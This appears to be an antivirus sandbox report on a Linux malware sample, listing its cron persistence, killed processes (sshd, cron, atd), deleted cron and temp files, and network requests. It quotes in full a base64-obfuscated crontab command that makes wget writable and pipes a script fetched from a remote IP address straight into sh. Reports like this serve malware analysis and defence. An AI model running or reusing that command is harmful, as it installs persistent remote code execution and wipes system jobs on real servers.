Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
- vvjw
- hcsp
Launches processes:
- sh -c echo '* * * * * echo -n \"KHNsZWVwIDU7IGlmICEgcHMgLWF4IHwgZ3JlcCAtdiBncmVwIHwgZ3JlcCAiWyBdIiQ7IHRoZW4gY2hhdHRyIC1pYSAvdXNyL2Jpbi93Z2V0OyBjaG1vZCA3Nzc3IC91c3IvYmluL3dnZXQ7IHdnZXQgLU8gLSBodHRwOi8vMTg1LjEwLjY4LjEwMC9qcC9qLnNofHNoID4vZGV2L251bGwgMj4mMTsgZWxzZSBraWxsYWxsIC1mIHB5dGhvbjsga2lsbGFsbCAtZiB3Z2V0OyBraWxsYWxsIC1mIGN1cmw7IGZpKQ==\" | base64 -d |sh > /dev/null 2>&1' | crontab -;
- crontab -
- sh -c /root/yrhn hcsp
- /root/yrhn hcsp
Kills system processes:
- sshd
Kills the following processes:
- cron
- atd
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.2oyOV1
- /root/yrhn
Deletes folders:
- /var/spool/cron/atjobs
- /var/spool/cron/atspool
- /var/spool/cron/crontabs
- /tmp/.font-unix
- /tmp/.ICE-unix
- /tmp/.X11-unix
- /tmp/.XIM-unix
- /tmp/.Test-unix
Creates or modifies files:
- /var/spool/cron/crontabs/tmp.2oyOV1
- /root/yrhn
- /root/p
Deletes files:
- /var/spool/cron/crontabs/root
- /var/spool/cron/atjobs/.SEQ
- /etc/cron.hourly/.placeholder
- /etc/cron.daily/passwd
- /etc/cron.daily/aptitude
- /etc/cron.daily/mlocate
- /etc/cron.daily/logrotate
- /etc/cron.daily/apt
- /etc/cron.daily/bsdmainutils
- /etc/cron.daily/.placeholder
- /etc/cron.daily/dpkg
- /etc/cron.daily/man-db
- /etc/cron.daily/exim4-base
- /etc/cron.weekly/.placeholder
- /etc/cron.weekly/man-db
- /etc/cron.monthly/.placeholder
- /etc/cron.d/.placeholder
- /root/p
Network activity:
HTTP GET requests:
- 18#.###.169.6/jp/jrd
